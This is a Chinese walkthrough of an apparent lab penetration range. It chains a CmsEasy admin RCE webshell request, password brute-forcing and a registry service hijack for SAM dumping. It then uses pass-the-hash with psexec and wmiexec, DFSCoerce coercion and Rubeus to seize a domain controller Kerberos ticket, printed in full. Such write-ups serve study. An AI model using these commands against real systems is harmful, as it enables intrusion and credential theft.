fscan开扫

image-20231010192348417

image-20231010192404021

扫描发现后台/admin

弱口令登录

admin/123456

image-20231010192457210

在后台登录时就已经看到了这个cms的版本后 于是google一下

https://jdr2021.github.io/2021/10/14/CmsEasy_7.7.5_20211012 后台RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 39.98.127.31
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=m9fbpga5avq5itn03q12h5ldkk; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

sid=#data_d_.._d_.._d_.._d_1.php&slen=693&scontent=<?php @eval($_POST[1]);phpinfo();?>

//Response
ok

image-20231010192848064

成功写入 直接反弹shell到主机的vps上

flag在home目录下 在读取的时候发现这个权限不够 于是尝试开始提权

image-20231010193138271

这个diff去查一下

image-20231010193210058

image-20231010193303330

这里给了个机器账户的本地账户

先去扫下内网

image-20231010193645120

资源整理

1
2
3
4
5
6
7
172.22.4.36  getshell主机

172.22.4.7 域控主机DC01

172.22.4.45 域内主机 WIN19

172.22.4.19 FILESERVER

先搭建隧道 这里使用的是stowaway

然后根据第一个提示 给了WIN19的本地账户WIN19\Adrian 于是猜测需要去爆破 因为是本地账户 所以不能使用kerbrute来进行爆破 于是我们尝试使用crackmapexec

1
2
3
proxychains4 crackmapexec smb 172.22.4.45 -u Adrian -p rockyou.txt -d WIN19

//使用前提还是开了139 445的端口前提下 -h可以查看允许爆破类型

image-20231010194545801

WIN19\Adrian babygirl1

尝试rdp一下 因为前面开了这个3389端口来

image-20231010194733741

提示密码过期 这里本来是想用smbpasswd.py来进行更改的 但是发现不行这里 估计是本地用户的原因

于是发现了kali的rdesktop可以无密码登录

1
proxychains3 rdesktop 172.22.4.45

image-20231010200954046

修改密码后成功登录

发现桌面上多了个文件夹

image-20231010201116640

里面的一个html文件的内容 只要是这个计算机的用户都可以权限对注册表进行操作

这里在之前试了一下 发现可以直接修改注册表 改成自己的生成的木马的地址 也能返回到system权限

但是这里的话用这个方法获取不到这个机器的hash值 不能进行下一步操作了 因为只有这个机器在域内 其他用户都不在

于是这里的话我们先生成一个exe文件

1
msfvenom -p windows/x64/exec cmd='C:\windows\system32\cmd.exe /c C:\users\Adrian\Desktop\sam.bat ' --platform windows -f exe-service > a.exe

然后写一个sam.bat,内容如下然后传到win机器上:

1
2
3
reg save hklm\system C:\Users\Adrian\Desktop\system
reg save hklm\sam C:\Users\Adrian\Desktop\sam
reg save hklm\security C:\Users\Adrian\Desktop\security

注册表中的这三个位置 存放的就是本机上所有用户包括机器的密码的hash值 所以我们得去获取他

修改注册表服务

1
reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Adrian\Desktop\a.exe" /f

记得路径不要出错

image-20231010201813604

然后运行这个gupdate

1
sc start gupdate

image-20231010201918904

我们就成功把注册表上的几个文件给下载下来了

image-20231010212212597

其实也可以通过这种方式来进行反弹shell操作 但是这个弹到Viper或者cs上的话 使用hashdump和creds_all的话都是获取不到这个机器的hash值的 只能获取到本地账户的hash值

于是我们拖到本地进行离线提权hash

1
python3 secretsdump.py LOCAL -system system -sam sam -security security

image-20231010202145550

这样的话我们的本地管理员和机器用户的hash值就全部爆出来了

并且有一点就是这个本地管理员的psexec和这个域管的psexec用法还是有不同的

(可能是因为全部的hash前半部分相同的原因吧)

1
2
3
4
5
6
本地管理员
proxychains4 python3 psexec.py administrator@172.22.4.45 -hashes "aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab" -codec gbk


域管
proxychains4 python wmiexec.py -hashes :aad3b435b51404eeaad3b435b51404ee xiaorang.lab/administrator@172.22.4.45

这里有一点很奇怪 使用本地管理员 psexec.py来进行连接时 返回的是system权限

wmiexec.py 连接时返回的时admin权限

按道理来说 本地管理员时不应该有system权限的 这是机器才有的权限

留着思考一下??????????????

—————————————————————————-(google找了一下 原因是这样的)————————————————————

  • 这个其实跟psexec.py的运行过程是相关的

image-20231010223329966

其实在执行代码的时候 也会回显出代码服务创建 这里就是因为在远程机器上创建了这个系统服务 然后又因为这个系统服务是以system权限来执行的 于是我们获取到的就是这个system权限了

(前提是必须使用administrator用户来进行连接 不然没有权限来创建这个服务)

image-20231010223541185

在了解这个的过程中还发现了这两者都是基于这个ipc$ 其对应的就是445 139端口

一般默认是开启的

image-20231010224004389

如果执行net share没有反应的话 说明了这个ipc$没有开启 psexec和wmi就用不了了


为了能过使用本地管理员账户 我们创建一个新账户加到本地管理员组里

1
2
net user Ke1nys qwer1234! /add
net localgroup administrators Ke1nys /add

image-20231010203627261

这里查看一下域内信息

image-20231010203717730

因为这里psexec连接上去的是这个system权限 这个权限是机器的权限 并且只有这个机器在域内 其他用户均为本地成员 看不了域内成员

image-20231010203836101

先rdp上刚刚创建的用户

然后kali运行

1
2
3
4
proxychains4 bloodhound-python -u win19$ --hashes "aad3b435b51404eeaad3b435b51404ee:544cd3307615b72c370b3fea4d76fb65" -d xiaorang.lab -dc dc01.xiaorang.lab -c all --dns-tcp -ns 172.22.4.7 --auth-method ntlm --zip

//这个方法很骚 不用上传sharphound就能获取到这个压缩包 只需要获取到一个域账户的密码或者has
//这里用的hash值是机器的hash值 因为只有机器在域内

image-20231010205618301

image-20231010211757396

https://forum.butian.net/share/1944 这篇文章写的很好 几乎总结了非约束委派的攻击

简洁点说就是强制域控向目标主机发起身份验证 由于开启了非约束委派 就能获取到域控的TGT票据

先使用本地管理员运行Rubeus.exe 并且监听 (需要管理员权限)

1
Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC01$

使用 DFSCoerce 漏洞利用工具,触发辅域控进行强制验证

1
2
3
4
proxychains4 python3 dfscoerce.py -u win19$ -hashes "aad3b435b51404eeaad3b435b51404ee:544cd3307615b72c370b3fea4d76fb65" -d xiaorang.lab win19 172.22.4.7


//这里用的hash值是机器的hash值

image-20231010210557409

然后ptt注入到内存中

1
Rubeus.exe ptt /ticket:doIFlDCCBZCgAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMWElBT1JBTkcuTEFCo4IEVDCCBFCgAwIBEqEDAgECooIEQgSCBD6wZL58oV7f7zZFBrMFkbAa5M+OSIALaywU/VrSxKEOb1HHvPzIbGEW7LMmPRNsZ7v/GB2EMhZ5HySrR/OYXvVwL6SwetfRB4FKQtwxqt9q46DGDzv0Nvu4Vgaq8i6vkO6T9qv+7yOhDUVkNU15LrEmn5x2fNpzdayhLLbmcER61oyplHwnRjohA6hTJzPOFZ2lqb5o7ComIWVn75vlEYD7VrVxvEvzHKVXi+vszYu2pIpjDqG+ypB4ekRoEKLkAm5V0mnhBfwVgNXxD6fJPw7yTsCi5GFRHwwblNmxCKccYyAUa9TSO4ep2UZWvL6ZNfy7FjlgAhIhzpbwqbcyFB02IFqvXK8ii7yn/Wl/ybI0lQkDeqt2XoLhTkOIcn+AEYG+DBiGyPHX1f856QLFS0iRP3wn70JK1br505QCqRt+C9+lLQP8vwQxgsWvcr1lJlEtblOPNl0J4F+QLfKkFYZVVTjs9K7ZOMA2jnTC6MI0PnL1Dq2iDXcYxRZX5IUjkNFzC38pwgl8ENSE87BjMUEfJcrSLv5mR88PbI2/ZEbva9geW483mMMMoBvgsX03zCWto4dUEnfNIxPYpd+lJfMPCAwhMrOJTIYIlOI9D9iCcL1+y3NSf4G7u3MiXXozX3q9LmpYw5KtZA3HdPL4oQ2b5fwSzGj7+x6VaqAvksfLRCU4uwT70kzd05l4L45LHlPao208057PvtEoN5ulakfctRytd6ql3GLWAbx6euNL905niHadPAQoYQA5Y8XiNTvOXU7bmA5dNnXHr/PgrJ2ruG5RIea52HbwLcuAZD28F+pS75bp1j5/wbKUybM/rpEqhNC5kcp7dRqMonbZpmahCbs23rskOr10ApUWEn3r2vPIcVZHRv7Hg/ddellNO9jTHbofARWm0QokiET4pDzb88yaHv50njhkIwBDtM/dvq+ct+qgfDAPKawnLPrUJQD7N1SbFOSWhe2yZKgBi5H4+HYq+R2RZnIApBk9o+n46fKus/z30rRcVPzlw+UyMrhBWO1sQKoPnpmXU6HF5x7TDQTV9mmz662O/PBSTXNrmhrl3kGM7aGazXdS6kvw0efrr+q1sLbIOB0NK1FCG7jaiHA64CSAc2wfv5RdvLbyynfj5xd6EQ6MEPG8uksKAZmQfQBYbDX6VEo3AbOarRFU64fcofmM4bim+mC8zRDO5u6IRzzumKJY5RQBVu8/ariYxmoKO3NATVUG4LD5bGAt3VxvxqZLB8znObSSPV2vpxQgXza1JI/Ka73c8Qjac0GrnFgKaUqX+Qz7f7GpOQW+MrxOCtiMz8h3rcE+DakoD87wVdLUwxVSkm4nCC38ncACTWcNK6LA+JXHl/gEyHKbkIetS43uPyl1EcBFevBgVaqx7UDYBgPftUb3T5QsBAtESt45UFgwgVsSk24OOO6MuR2ZwsvII6Lh4aEWPhujgeMwgeCgAwIBAKKB2ASB1X2B0jCBz6CBzDCByTCBxqArMCmgAwIBEqEiBCAMuVQ3Nb40HrUocO728XSfvrrukgPxsxytwOi4m+NCqaEOGwxYSUFPUkFORy5MQUKiEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDIzMTAxMDExMjIwM1qmERgPMjAyMzEwMTAyMTIyMDNapxEYDzIwMjMxMDE3MTEyMjAzWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFhJQU9SQU5HLkxBQg==

image-20231010210812205

echo 'base64xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | base64 -d > DC01.kirbi

这里话也可以将base解码然后存入DC01.kirbi (主要是这个后缀 名字无所谓)

1
mimikatz.exe "kerberos::purge" "kerberos::ptt DC01.kirbi"

当然了 也可以转发为cache导入 这三个是可以互相转化的

注入票据成功 然后开始dyscn导出域控hash值进行 pth攻击

image-20231010210950030

image-20231010211412842

做题的时候写了点东西

system(机器账户) 是机器账户固有的权限

administrator(本地管理员账户) 拥有的是别的权限 不是system权限

这个两个账户是不同的 在这个域中的话 使用hashdump 或者是meterpreter的load kiwi 的creds_all获取的只有这个计算机内的用户的hash值 获取不到这个机器账户的hash值 能获取到的话只有这个注册表里的sam system security 通过脚本爆破的话是可以爆破出这个机器账户的hash值 (python3 secretsdump.py LOCAL -system system -sam sam -security security)

当然了 一般除了system和admin用户外 一般人下载不到这三个注册表里的东西 (提权用的东西除外)

还有一点就是本地普通用户的话 执行 net user /domain 的话 是会报错的
WIN\xxx 这种用户名的一般是本地用户

域用户的话一般是—————》 xxxx@domain

可能存在的一种情况就是机器是域内账户 其他是本地账户 如果要想执行别的操作的话 大多数情况下是得要域内账户